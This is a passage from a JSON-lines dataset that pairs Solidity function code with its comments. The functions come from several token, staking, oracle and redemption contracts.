locked amount of token\n// this lockup will be released in 8 batches which take place every 180 days", "function_code": "function getLockedAmount_contributors(address _contributor) \r\n public\r\n\t\tconstant\r\n\t\treturns (uint256)\r\n\t{\r\n uint256 countdownDate = contributors_countdownDate[_contributor];\r\n uint256 lockedAmt = contributors_locked[_contributor];\r\n\r\n if (now <= countdownDate + (180 * 1 days)) {return lockedAmt;}\r\n if (now <= countdownDate + (180 * 2 days)) {return lockedAmt.mul(7).div(8);}\r\n if (now <= countdownDate + (180 * 3 days)) {return lockedAmt.mul(6).div(8);}\r\n if (now <= countdownDate + (180 * 4 days)) {return lockedAmt.mul(5).div(8);}\r\n if (now <= countdownDate + (180 * 5 days)) {return lockedAmt.mul(4).div(8);}\r\n if (now <= countdownDate + (180 * 6 days)) {return lockedAmt.mul(3).div(8);}\r\n if (now <= countdownDate + (180 * 7 days)) {return lockedAmt.mul(2).div(8);}\r\n if (now <= countdownDate + (180 * 8 days)) {return lockedAmt.mul(1).div(8);}\r\n\t\r\n return 0;\r\n }", "version": "0.4.18"} {"comment": "// get investors' locked amount of token\n// this lockup will be released in 3 batches: \n// 1. on delievery date\n// 2. three months after the delivery date\n// 3. six months after the delivery date", "function_code": "function getLockedAmount_investors(address _investor)\r\n public\r\n\t\tconstant\r\n\t\treturns (uint256)\r\n\t{\r\n uint256 delieveryDate = investors_deliveryDate[_investor];\r\n uint256 lockedAmt = investors_locked[_investor];\r\n\r\n if (now <= delieveryDate) {return lockedAmt;}\r\n if (now <= delieveryDate + 90 days) {return lockedAmt.mul(2).div(3);}\r\n if (now <= delieveryDate + 180 days) {return lockedAmt.mul(1).div(3);}\r\n\t\r\n return 0;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev claims tokens from msg.sender to be converted to tokens on another blockchain\r\n * \r\n * @param _toBlockchain blockchain on which tokens will be issued\r\n * @param _to address to send the tokens to\r\n * @param _amount the amount of tokens to transfer\r\n */", "function_code": "function xTransfer(bytes32 _toBlockchain, bytes32 _to, uint256 _amount) public whenXTransfersEnabled {\r\n // get the current lock limit\r\n uint256 currentLockLimit = getCurrentLockLimit();\r\n\r\n // require that; minLimit <= _amount <= currentLockLimit\r\n require(_amount >= minLimit && _amount <= currentLockLimit);\r\n \r\n lockTokens(_amount);\r\n\r\n // set the previous lock limit and block number\r\n prevLockLimit = currentLockLimit.sub(_amount);\r\n prevLockBlockNumber = block.number;\r\n\r\n // emit XTransfer event with id of 0\r\n emit XTransfer(msg.sender, _toBlockchain, _to, _amount, 0);\r\n }", "version": "0.4.26"} {"comment": "// used to transfer manually when senders are using BTC", "function_code": "function transferToAll(address[] memory tos, uint256[] memory values) public onlyOwner canTradable isActive {\r\n require(\r\n tos.length == values.length\r\n );\r\n \r\n for(uint256 i = 0; i < tos.length; i++){\r\n require(_icoSupply >= values[i]); \r\n totalNumberTokenSoldMainSale = totalNumberTokenSoldMainSale.add(values[i]);\r\n _icoSupply = _icoSupply.sub(values[i]);\r\n updateBalances(tos[i],values[i]);\r\n }\r\n }", "version": "0.5.3"} {"comment": "/**\r\n * @dev gets x transfer amount by xTransferId (not txId)\r\n * \r\n * @param _xTransferId unique (if non zero) pre-determined id (unlike _txId which is determined after the transactions been broadcasted)\r\n * @param _for address corresponding to xTransferId\r\n * \r\n * @return amount that was sent in xTransfer corresponding to _xTransferId\r\n */", "function_code": "function getXTransferAmount(uint256 _xTransferId, address _for) public view returns (uint256) {\r\n // xTransferId -> txId -> Transaction\r\n Transaction storage transaction = transactions[transactionIds[_xTransferId]];\r\n\r\n // verify that the xTransferId is for _for\r\n require(transaction.to == _for);\r\n\r\n return transaction.amount;\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev private method to release tokens held by the contract\r\n * \r\n * @param _to the address to release tokens to\r\n * @param _amount the amount of tokens to release\r\n */", "function_code": "function releaseTokens(address _to, uint256 _amount) private {\r\n // get the current release limit\r\n uint256 currentReleaseLimit = getCurrentReleaseLimit();\r\n\r\n require(_amount >= minLimit && _amount <= currentReleaseLimit);\r\n \r\n // update the previous release limit and block number\r\n prevReleaseLimit = currentReleaseLimit.sub(_amount);\r\n prevReleaseBlockNumber = block.number;\r\n\r\n // no need to require, reverts on failure\r\n token.transfer(_to, _amount);\r\n\r\n emit TokensRelease(_to, _amount);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Transfer the specified amount of tokens to the specified address.\r\n * This function works the same with the previous one\r\n * but doesn't contain `_data` param.\r\n * Added due to backwards compatibility reasons.\r\n *\r\n * @param _to Receiver address.\r\n * @param _value Amount of tokens that will be transferred.\r\n */", "function_code": "function transfer(address _to, uint _value) public {\r\n uint codeLength;\r\n bytes memory empty;\r\n assembly {\r\n // Retrieve the size of the code on target address, this needs assembly .\r\n codeLength := extcodesize(_to)\r\n }\r\n if(role[msg.sender] == 2)\r\n {\r\n require(now >= projsealDate,\"you can not transfer yet\");\r\n }\r\n if(role[msg.sender] == 3 || role[msg.sender] == 4)\r\n {\r\n require(now >= partnersealDate,\"you can not transfer yet\");\r\n }\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n if(codeLength>0) {\r\n ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);\r\n receiver.tokenFallback(msg.sender, _value, empty);\r\n }\r\n emit Transfer(msg.sender, _to, _value, empty);\r\n }", "version": "0.5.3"} {"comment": "/**\r\n * @notice redeem tokens instantly\r\n * @param tokenAmount amount of token to redeem\r\n * @return true if success\r\n */", "function_code": "function instantRedemption(uint256 tokenAmount) external virtual override returns (bool) {\r\n require(tokenAmount > 0, \"Token amount must be greater than 0\");\r\n\r\n uint256 requestDaiAmount = _cadOracle\r\n .cadToDai(tokenAmount.mul(_fixedPriceCADCent))\r\n .div(100);\r\n\r\n require(requestDaiAmount <= fundsAvailable(), \"Insufficient Dai for instant redemption\");\r\n\r\n\r\n _wToken.transferFrom(msg.sender, _poolSource, tokenAmount);\r\n _daiContract.transfer(msg.sender, requestDaiAmount);\r\n\r\n emit Redeemed(msg.sender, tokenAmount, requestDaiAmount);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/**\n * @notice set the expiry price in the oracle, can only be called by Bot address\n * @dev a roundId must be provided to confirm price validity, which is the first Chainlink price provided after the expiryTimestamp\n * @param _expiryTimestamp expiry to set a price for\n * @param _roundId the first roundId after expiryTimestamp\n */", "function_code": "function setExpiryPriceInOracle(uint256 _expiryTimestamp, uint80 _roundId) external {\n (, int256 price, , uint256 roundTimestamp, ) = aggregator.getRoundData(_roundId);\n\n require(_expiryTimestamp <= roundTimestamp, \"ChainLinkPricer: roundId not first after expiry\");\n require(price >= 0, \"ChainLinkPricer: invalid price\");\n\n if (msg.sender != bot) {\n bool isCorrectRoundId;\n uint80 previousRoundId = uint80(uint256(_roundId).sub(1));\n\n while (!isCorrectRoundId) {\n (, , , uint256 previousRoundTimestamp, ) = aggregator.getRoundData(previousRoundId);\n\n if (previousRoundTimestamp == 0) {\n require(previousRoundId > 0, \"ChainLinkPricer: Invalid previousRoundId\");\n previousRoundId = previousRoundId - 1;\n } else if (previousRoundTimestamp > _expiryTimestamp) {\n revert(\"ChainLinkPricer: previousRoundId not last before expiry\");\n } else {\n isCorrectRoundId = true;\n }\n }\n }\n\n oracle.setExpiryPrice(asset, _expiryTimestamp, uint256(price));\n }", "version": "0.6.10"} {"comment": "/**\n * @notice get the live price for the asset\n * @dev overides the getPrice function in OpynPricerInterface\n * @return price of the asset in USD, scaled by 1e8\n */", "function_code": "function getPrice() external view override returns (uint256) {\n (, int256 answer, , , ) = aggregator.latestRoundData();\n require(answer > 0, \"ChainLinkPricer: price is lower than 0\");\n // chainlink's answer is already 1e8\n return _scaleToBase(uint256(answer));\n }", "version": "0.6.10"} {"comment": "/**\n * @notice scale aggregator response to base decimals (1e8)\n * @param _price aggregator price\n * @return price scaled to 1e8\n */", "function_code": "function _scaleToBase(uint256 _price) internal view returns (uint256) {\n if (aggregatorDecimals > BASE) {\n uint256 exp = aggregatorDecimals.sub(BASE);\n _price = _price.div(10**exp);\n } else if (aggregatorDecimals < BASE) {\n uint256 exp = BASE.sub(aggregatorDecimals);\n _price = _price.mul(10**exp);\n }\n\n return _price;\n }", "version": "0.6.10"} {"comment": "/**\r\n * @notice redeem tokens asynchronously\r\n * @param tokenAmount amount of token to redeem\r\n * @return true if success\r\n */", "function_code": "function asyncRedemption(uint256 tokenAmount) external virtual override returns (bool) {\r\n require(tokenAmount >= 5e19, \"Token amount must be greater than or equal to 50\");\r\n\r\n AsyncRedemptionRequest memory newRequest = AsyncRedemptionRequest(msg.sender, tokenAmount);\r\n _asyncRequests.push(newRequest);\r\n\r\n _wToken.transferFrom(msg.sender, address(this), tokenAmount);\r\n\r\n emit RedemptionPending(msg.sender, tokenAmount);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice deposit Dai to faciliate redemptions\r\n * @param maxDaiAmount max amount of Dai to pay for redemptions\r\n * @return true if success\r\n */", "function_code": "function capitalize(uint256 maxDaiAmount) external returns (bool) {\r\n uint256 daiAmountRemaining = maxDaiAmount;\r\n uint256 newIndex = _asyncIndex;\r\n uint256 requestLength = _asyncRequests.length;\r\n\r\n for (; newIndex < requestLength; newIndex = newIndex.add(1)) {\r\n AsyncRedemptionRequest storage request = _asyncRequests[newIndex];\r\n\r\n uint256 requestDaiAmount = _cadOracle\r\n .cadToDai(request.tokenAmount.mul(_fixedPriceCADCent))\r\n .div(100);\r\n\r\n // if cannot completely redeem a request, then do not perform partial redemptions\r\n if (requestDaiAmount > daiAmountRemaining) {\r\n break;\r\n }\r\n\r\n daiAmountRemaining = daiAmountRemaining.sub(requestDaiAmount);\r\n\r\n _wToken.transfer(_poolSource, request.tokenAmount);\r\n _daiContract.transferFrom(msg.sender, request.account, requestDaiAmount);\r\n\r\n emit Redeemed(request.account, request.tokenAmount, requestDaiAmount);\r\n }\r\n\r\n // if all async requests have been redeemed, add Dai to this contract as reserve\r\n if (newIndex == requestLength && daiAmountRemaining > 0) {\r\n _daiContract.transferFrom(msg.sender, address(this), daiAmountRemaining);\r\n emit Capitalized(daiAmountRemaining);\r\n }\r\n\r\n // update redemption index to the latest\r\n _asyncIndex = newIndex;\r\n\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice see the total token balance awaiting redemptions for a given account\r\n * @dev IMPORTANT this function involves unbounded loop, should NOT be used in critical logical paths\r\n * @param account account that has tokens pending\r\n * @return token amount in 18 decimals\r\n */", "function_code": "function tokensPending(address account) external view virtual override returns (uint256) {\r\n uint256 pendingAmount = 0;\r\n uint256 requestLength = _asyncRequests.length;\r\n\r\n for (uint256 i = _asyncIndex; i < requestLength; i = i.add(1)) {\r\n AsyncRedemptionRequest storage request = _asyncRequests[i];\r\n\r\n if (request.account == account) {\r\n pendingAmount = pendingAmount.add(request.tokenAmount);\r\n }\r\n }\r\n\r\n return pendingAmount;\r\n }", "version": "0.6.8"} {"comment": "//gives appropriate number of tokens to purchasing address", "function_code": "function purchaseTokens(address payable playerAddress, uint256 etherValue)\r\n //checks if purchase allowed -- only relevant for limiting actions during setup phase\r\n purchaseAllowed( etherValue ) \r\n internal\r\n returns( uint256 )\r\n{\r\n //calculates fee/rewards\r\n uint[2] memory feeAndValue = valueAfterFee( etherValue );\r\n //calculates tokens from postFee value of input ether\r\n uint256 amountTokens = etherToTokens( feeAndValue[1] );\r\n //avoid overflow errors\r\n require ( ( (amountTokens + totalSupply) > totalSupply), \"purchase would cause integer overflow\" );\r\n // send rewards to partner contract, to be distributed to its holders\r\n address payable buddy = partnerAddress_;\r\n ( bool success, bytes memory returnData ) = buddy.call.value( feeAndValue[0] )(\"\");\r\n require( success, \"failed to send funds to partner contract (not enough gas provided?)\" );\r\n //adds new tokens to total token supply and gives them to the player\r\n //also updates reward tracker (payoutsToLedger_) for player address\r\n mint( playerAddress, amountTokens );\r\n return( amountTokens );\r\n}", "version": "0.5.12"} {"comment": "// |--------------------------------------|\n// [20, 30, 40, 50, 60, 70, 80, 99999999]\n// Return reward multiplier over the given _from to _to block.", "function_code": "function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {\r\n uint256 result = 0;\r\n if (_from < START_BLOCK) return 0;\r\n\r\n for (uint256 i = 0; i < HALVING_AT_BLOCK.length; i++) {\r\n uint256 endBlock = HALVING_AT_BLOCK[i];\r\n\r\n if (_to <= endBlock) {\r\n uint256 m = _to.sub(_from).mul(REWARD_MULTIPLIER[i]);\r\n return result.add(m);\r\n }\r\n\r\n if (_from < endBlock) {\r\n uint256 m = endBlock.sub(_from).mul(REWARD_MULTIPLIER[i]);\r\n _from = endBlock;\r\n result = result.add(m);\r\n }\r\n }\r\n\r\n return result;\r\n }", "version": "0.6.12"} {"comment": "// lock 75% of reward if it come from bounus time", "function_code": "function _harvest(uint256 _pid) internal {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accyodaPerShare).div(1e12).sub(user.rewardDebt);\r\n uint256 masterBal = yoda.balanceOf(address(this));\r\n\r\n if (pending > masterBal) {\r\n pending = masterBal;\r\n }\r\n \r\n if(pending > 0) {\r\n yoda.transfer(msg.sender, pending);\r\n uint256 lockAmount = 0;\r\n if (user.rewardDebtAtBlock <= FINISH_BONUS_AT_BLOCK) {\r\n lockAmount = pending.mul(PERCENT_LOCK_BONUS_REWARD).div(100);\r\n yoda.lock(msg.sender, lockAmount);\r\n }\r\n\r\n user.rewardDebtAtBlock = block.number;\r\n\r\n emit SendyodaReward(msg.sender, _pid, pending, lockAmount);\r\n }\r\n\r\n user.rewardDebt = user.amount.mul(pool.accyodaPerShare).div(1e12);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Deposit LP tokens to yodaMasterFarmer for yoda allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n require(_amount > 0, \"yodaMasterFarmer::deposit: amount must be greater than 0\");\r\n\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n _harvest(_pid);\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n if (user.amount == 0) {\r\n user.rewardDebtAtBlock = block.number;\r\n }\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accyodaPerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Withdraw LP tokens from yodaMasterFarmer.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(user.amount >= _amount, \"yodaMasterFarmer::withdraw: not good\");\r\n\r\n updatePool(_pid);\r\n _harvest(_pid);\r\n \r\n if(_amount > 0) {\r\n user.amount = user.amount.sub(_amount);\r\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accyodaPerShare).div(1e12);\r\n emit Withdraw(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Claim rewards for Bunnies", "function_code": "function claimRewards(address _contractAddress) public \r\n { \r\n uint256 numStaked = TokensOfOwner[_contractAddress][msg.sender].length;\r\n\r\n if (numStaked > 0)\r\n {\r\n uint256 rRate = RewardRate[_contractAddress] * numStaked;\r\n uint256 reward = rRate * ((block.timestamp - lastClaim[_contractAddress][msg.sender]) / 86400);\r\n\r\n if (reward > 0)\r\n {\r\n lastClaim[_contractAddress][msg.sender] = uint80(block.timestamp); \r\n IRBCUtility(UtilityAddress).getReward(msg.sender, reward);\r\n }\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Stake Bunni (deposit ERC721)", "function_code": "function deposit(address _contractAddress, uint256[] calldata tokenIds) external whenNotPaused \r\n { \r\n require(RewardRate[_contractAddress] > 0, \"invalid address for staking\");\r\n \r\n claimRewards(_contractAddress); //Claims All Rewards\r\n\r\n uint256 length = tokenIds.length; \r\n for (uint256 i; i < length; i++) \r\n {\r\n IERC721(_contractAddress).transferFrom(msg.sender, address(this), tokenIds[i]); \r\n TokensOfOwner[_contractAddress][msg.sender].push(tokenIds[i]); \r\n }\r\n\r\n lastClaim[_contractAddress][msg.sender] = uint80(block.timestamp); \r\n }", "version": "0.8.7"} {"comment": "// Unstake Bunni (withdrawal ERC721)", "function_code": "function withdraw(address _contractAddress, uint256[] calldata tokenIds, bool _doClaim) external nonReentrant() \r\n { \r\n if (_doClaim) //You can Withdraw without Claiming if needs be\r\n {\r\n claimRewards(_contractAddress); //Claims All Rewards\r\n }\r\n \r\n uint256 length = tokenIds.length; \r\n for (uint256 i; i < length; i++)\r\n {\r\n require(amOwnerOf(_contractAddress, tokenIds[i]), \"Bunni not yours\"); \r\n IERC721(_contractAddress).transferFrom(address(this), msg.sender, tokenIds[i]);\r\n\r\n TokensOfOwner[_contractAddress][msg.sender] = _moveTokenInTheList(TokensOfOwner[_contractAddress][msg.sender], tokenIds[i]);\r\n TokensOfOwner[_contractAddress][msg.sender].pop();\r\n\r\n if (TokensOfOwner[_contractAddress][msg.sender].length < 1) //<= 0\r\n {\r\n delete(lastClaim[_contractAddress][msg.sender]);\r\n }\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Returns the current rate of rewards per token (doh)", "function_code": "function rewardPerToken() public view returns (uint256) {\n // Do not distribute rewards before games begin\n if (block.timestamp < startTime) {\n return 0;\n }\n if (_totalSupply == 0) {\n return rewardPerTokenStored;\n }\n // Effective total supply takes into account all the multipliers bought.\n uint256 effectiveTotalSupply = _totalSupply.add(_totalSupplyAccounting);\n return rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(effectiveTotalSupply));\n }", "version": "0.6.12"} {"comment": "// Returns the current reward tokens that the user can claim.", "function_code": "function earned(address account) public view returns (uint256) {\n // Each user has it's own effective balance which is just the staked balance multiplied by boost level multiplier.\n uint256 effectiveBalance = _balances[account].add(_balancesAccounting[account]);\n return effectiveBalance.mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);\n }", "version": "0.6.12"} {"comment": "// Withdraw function to remove stake from the pool", "function_code": "function withdraw(uint256 amount) public override {\n require(amount > 0, \"Cannot withdraw 0\");\n updateReward(msg.sender);\n\n uint256 tax = amount.mul(devFee).div(1000);\n stakingToken.safeTransfer(devFund, tax);\n stakingToken.safeTransfer(msg.sender, amount.sub(tax));\n\n super.withdraw(amount);\n uint256 userTotalMultiplier = deflector.getTotalValueForUser(address(this), msg.sender);\n adjustEffectiveStake(msg.sender, userTotalMultiplier, true);\n emit Withdrawn(msg.sender, amount);\n }", "version": "0.6.12"} {"comment": "// Called to start the pool with the reward amount it should distribute\n// The reward period will be the duration of the pool.", "function_code": "function notifyRewardAmount(uint256 reward) external onlyOwner {\n rewardToken.safeTransferFrom(msg.sender, address(this), reward);\n updateRewardPerTokenStored();\n if (block.timestamp >= periodFinish) {\n rewardRate = reward.div(DURATION);\n } else {\n uint256 remaining = periodFinish.sub(block.timestamp);\n uint256 leftover = remaining.mul(rewardRate);\n rewardRate = reward.add(leftover).div(DURATION);\n }\n lastUpdateTime = block.timestamp;\n periodFinish = block.timestamp.add(DURATION);\n emit RewardAdded(reward);\n }", "version": "0.6.12"} {"comment": "// Notify the reward amount without updating time;", "function_code": "function notifyRewardAmountWithoutUpdateTime(uint256 reward) external onlyOwner {\n updateRewardPerTokenStored();\n if (block.timestamp >= periodFinish) {\n rewardRate = reward.div(DURATION);\n } else {\n uint256 remaining = periodFinish.sub(block.timestamp);\n uint256 leftover = remaining.mul(rewardRate);\n rewardRate = reward.add(leftover).div(DURATION);\n }\n emit RewardAdded(reward);\n }", "version": "0.6.12"} {"comment": "// Calculate the cost for purchasing a boost.", "function_code": "function calculateCost(\n address _user,\n address _token,\n uint256 _level\n ) public view returns (uint256) {\n uint256 lastLevel = deflector.getLastTokenLevelForUser(address(this), _token, _user);\n if (lastLevel > _level) return 0;\n return deflector.getSpendableCostPerTokenForUser(address(this), _user, _token, _level);\n }", "version": "0.6.12"} {"comment": "// Purchase a multiplier level, same level cannot be purchased twice.", "function_code": "function purchase(address _token, uint256 _level) external {\n require(deflector.isSpendableTokenInContract(address(this), _token), \"Not a multiplier token\");\n uint256 lastLevel = deflector.getLastTokenLevelForUser(address(this), msg.sender, _token);\n require(lastLevel < _level, \"Cannot downgrade level or same level\");\n uint256 cost = calculateCost(msg.sender, _token, _level);\n\n IERC20(_token).safeTransferFrom(msg.sender, devFund, cost);\n\n // Update balances and level in the multiplier contarct\n deflector.purchase(address(this), msg.sender, _token, _level);\n\n // Adjust new level\n uint256 userTotalMultiplier = deflector.getTotalValueForUser(address(this), msg.sender);\n adjustEffectiveStake(msg.sender, userTotalMultiplier, false);\n\n emit Boost(_token, _level);\n }", "version": "0.6.12"} {"comment": "// constructor called during creation of contract", "function_code": "function FuBi() { \r\n owner = msg.sender; // person who deploy the contract will be the owner of the contract\r\n balances[owner] = totalSupply; // balance of owner will be equal to 20000 million\r\n }", "version": "0.4.25"} {"comment": "// send _amount to each address", "function_code": "function multiSend(address[] _addrs, uint _amount) external payable {\r\n require(_amount > 0);\r\n\r\n uint _totalToSend = _amount.mul(_addrs.length);\r\n require(msg.value >= _totalToSend);\r\n\r\n // try sending to multiple addresses\r\n uint _totalSent = 0;\r\n for (uint256 i = 0; i < _addrs.length; i++) {\r\n require(_addrs[i] != address(0));\r\n if (_addrs[i].send(_amount)) {\r\n _totalSent = _totalSent.add(_amount);\r\n // emit Send(_addrs[i], _amount);\r\n } else {\r\n emit Fail(_addrs[i], _amount);\r\n }\r\n }\r\n\r\n // refund unsent ether\r\n if (msg.value > _totalSent) {\r\n msg.sender.transfer(msg.value.sub(_totalSent));\r\n // emit Send(msg.sender, msg.value.sub(_totalSent));\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Set basic quarter details for Chainlink Receiver\r\n * @param alpha_token_contract IKladeDiffToken - Klade Alpha Token Contract\r\n * @param omega_token_contract IKladeDifFToken - Klade Omega Token Contract\r\n * @param chainlink_diff_oracle IChainlinkOracle - Chainlink oracle contract that provides difficulty information\r\n * @param chainlink_blocknum_oracle IChainlinkOracle - Chainlink oracle contract that provides difficulty information\r\n * @param required_collateral uint - required collateral to mint a single pair of Klade Alpha/Omega tokens\r\n * @param hedged_revenue uint - hedged revenue for bitcoin miners for single pair of tokens\r\n * @param miner_earnings uint - miner earnings for single pair of tokens\r\n */", "function_code": "function set_quarter_details(\r\n IKladeDiffToken alpha_token_contract,\r\n IKladeDiffToken omega_token_contract,\r\n IChainlinkOracle chainlink_diff_oracle,\r\n IChainlinkOracle chainlink_blocknum_oracle,\r\n uint256 required_collateral,\r\n uint256 hedged_revenue,\r\n uint256 miner_earnings\r\n ) external {\r\n require(\r\n msg.sender == KladeAddress1 || msg.sender == KladeAddress2,\r\n \"Only Klade can set quarter details\"\r\n );\r\n require(Q3_set == false, \"Quarter details already set\");\r\n Q3_details = quarter_details(\r\n alpha_token_contract,\r\n omega_token_contract,\r\n chainlink_diff_oracle,\r\n chainlink_blocknum_oracle,\r\n required_collateral,\r\n hedged_revenue,\r\n Q3_end_unix,\r\n miner_earnings,\r\n 0\r\n );\r\n Q3_set = true;\r\n }", "version": "0.7.3"} {"comment": "/**\r\n * At the call to getChainlinkUpdate at the beginning or end of the quarter, the current_block_number should\r\n * be passed in as the block number at the beginning or end of the quarter.\r\n * On all other calls, current_block_number should be fed as the block number\r\n * at the most recent time the Oracle has updated its data\r\n */", "function_code": "function getChainlinkUpdate() external returns (bool updated) {\r\n require(Q3_set, \"Quarter details not set yet\");\r\n uint256 i = Q3_details.number_of_updates;\r\n require(i < 13, \"All datapoints for the quarter have been collected\");\r\n\r\n ChainlinkUpdate memory current_update =\r\n read_chainlink(\r\n Q3_details.chainlink_blocknum_oracle,\r\n Q3_details.chainlink_diff_oracle\r\n );\r\n require(\r\n check_reasonable_values(current_update),\r\n \"Unreasonable Chainlink Data\"\r\n );\r\n if (\r\n (i == 0) ||\r\n new_chainlink_data(\r\n chainlink_data[safemath.sub(i, 1)],\r\n current_update\r\n )\r\n ) {\r\n chainlink_data[i] = current_update;\r\n Q3_details.number_of_updates = safemath.add(\r\n Q3_details.number_of_updates,\r\n 1\r\n );\r\n if (i > 0) {\r\n Q3_details.intermediateActualMinerEarnings = safemath.add(\r\n Q3_details.intermediateActualMinerEarnings,\r\n additional_miner_earnings(\r\n chainlink_data[safemath.sub(i, 1)],\r\n current_update\r\n )\r\n );\r\n }\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.7.3"} {"comment": "/**\r\n * Checks if the current_update has updated difficulty and block_number values\r\n * compared to last_update. If either the difficulty or the block_number has\r\n * not been updated by Chainlink, this returns false.\r\n * @param last_update ChainlinkUpdate - previous update data returned by Chainlink Oracle\r\n * @param current_update ChainlinkUpdate - most recent update data returned by Chainlink Oracle\r\n */", "function_code": "function new_chainlink_data(\r\n ChainlinkUpdate memory last_update,\r\n ChainlinkUpdate memory current_update\r\n ) internal pure returns (bool new_data) {\r\n bool new_difficulty_data =\r\n current_update.diff_roundID != last_update.diff_roundID;\r\n bool new_blocknum_data =\r\n current_update.blocknum_roundID != last_update.blocknum_roundID;\r\n return new_difficulty_data && new_blocknum_data;\r\n }", "version": "0.7.3"} {"comment": "/**\r\n * Calls Chainlink's Oracles, gets the latest data, and returns it.\r\n * @param blocknum_oracle IChainlinkOracle - Chainlink block number oracle\r\n * @param diff_oracle IChainlinkOracle - Chainlink difficulty number oracle\r\n */", "function_code": "function read_chainlink(\r\n IChainlinkOracle blocknum_oracle,\r\n IChainlinkOracle diff_oracle\r\n ) internal view returns (ChainlinkUpdate memory latest) {\r\n uint80 updated_roundID_diff;\r\n int256 current_diff;\r\n uint256 startedAt;\r\n uint256 updatedAt;\r\n uint80 answeredInRound;\r\n int256 current_blocknum;\r\n uint80 updated_roundID_blocknum;\r\n\r\n (\r\n updated_roundID_blocknum,\r\n current_blocknum,\r\n startedAt,\r\n updatedAt,\r\n answeredInRound\r\n ) = blocknum_oracle.latestRoundData();\r\n\r\n (\r\n updated_roundID_diff,\r\n current_diff,\r\n startedAt,\r\n updatedAt,\r\n answeredInRound\r\n ) = diff_oracle.latestRoundData();\r\n\r\n return\r\n ChainlinkUpdate(\r\n uint256(current_blocknum),\r\n uint256(current_diff),\r\n updated_roundID_blocknum,\r\n updated_roundID_diff\r\n );\r\n }", "version": "0.7.3"} {"comment": "/**\r\n * Revenue (in WBTC base units) for 10 TH/s over the blocks from startBlock to endBlock\r\n * does not account for if there is a halving in between a difficulty update.\r\n * should not be relevant for Q3 2021\r\n * @param last_update ChainlinkUpdate - previous update data returned by Chainlink Oracle\r\n * @param current_update ChainlinkUpdate - most recent update data returned by Chainlink Oracle\r\n */", "function_code": "function additional_miner_earnings(\r\n ChainlinkUpdate memory last_update,\r\n ChainlinkUpdate memory current_update\r\n ) internal view returns (uint256 earnings) {\r\n uint256 startBlock = last_update.block_number;\r\n uint256 startDiff = last_update.difficulty;\r\n uint256 endBlock = current_update.block_number;\r\n uint256 endDiff = current_update.difficulty;\r\n\r\n require(\r\n endBlock >= startBlock,\r\n \"Latest Block Number is less than last block number\"\r\n );\r\n uint256 last_diff_update_block = get_last_diff_update(endBlock);\r\n if (last_diff_update_block <= startBlock) {\r\n return\r\n safemath.mul(\r\n safemath.sub(endBlock, startBlock),\r\n earnings_on_block(endDiff, startBlock)\r\n );\r\n } else {\r\n uint256 total =\r\n safemath.mul(\r\n safemath.sub(last_diff_update_block, startBlock),\r\n earnings_on_block(startDiff, startBlock)\r\n );\r\n total = safemath.add(\r\n total,\r\n safemath.mul(\r\n safemath.sub(endBlock, last_diff_update_block),\r\n earnings_on_block(endDiff, endBlock)\r\n )\r\n );\r\n return total;\r\n }\r\n }", "version": "0.7.3"} {"comment": "/**\r\n * Check that the values that are trying to be added to the ChainlinkData \r\n * for a quarter actually makes sense. \r\n * Returns True if the update seems reasonable and returns false if the update\r\n * values seems unreasonable\r\n * Very generous constraints that are just sanity checks.\r\n * @param update ChainlinkUpdate - A chainlink update with block number and difficulty data\r\n */", "function_code": "function check_reasonable_values(ChainlinkUpdate memory update)\r\n internal\r\n view\r\n returns (bool reasonable)\r\n {\r\n uint256 update_diff = update.difficulty;\r\n uint256 update_block_number = update.block_number;\r\n uint256 number_of_updates = Q3_details.number_of_updates;\r\n if (\r\n (update_diff > maxValidDifficulty) ||\r\n (update_diff < minValidDifficulty)\r\n ) {\r\n return false;\r\n }\r\n if (\r\n (update_block_number > maxValidBlockNum) ||\r\n (update_block_number < minValidBlockNum)\r\n ) {\r\n return false;\r\n }\r\n if (number_of_updates > 0) {\r\n uint256 last_update_block_number =\r\n chainlink_data[safemath.sub(number_of_updates, 1)].block_number;\r\n if (update_block_number <= last_update_block_number) {\r\n return false;\r\n }\r\n if (\r\n update_block_number >\r\n safemath.add(\r\n last_update_block_number,\r\n maxValidBlockNumberIncrease\r\n )\r\n ) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n }", "version": "0.7.3"} {"comment": "// payouts are set in WBTC base units for 1.0 tokens", "function_code": "function set_payouts() public {\r\n require(\r\n Q3_details.number_of_updates == 13,\r\n \"Need 13 datapoints before setting payout\"\r\n );\r\n require(\r\n (block.timestamp >= Q3_details.end_unix),\r\n \"You cannot set a payout yet\"\r\n );\r\n\r\n uint256 hedged_revenue = Q3_details.hedged_revenue;\r\n uint256 required_collateral = 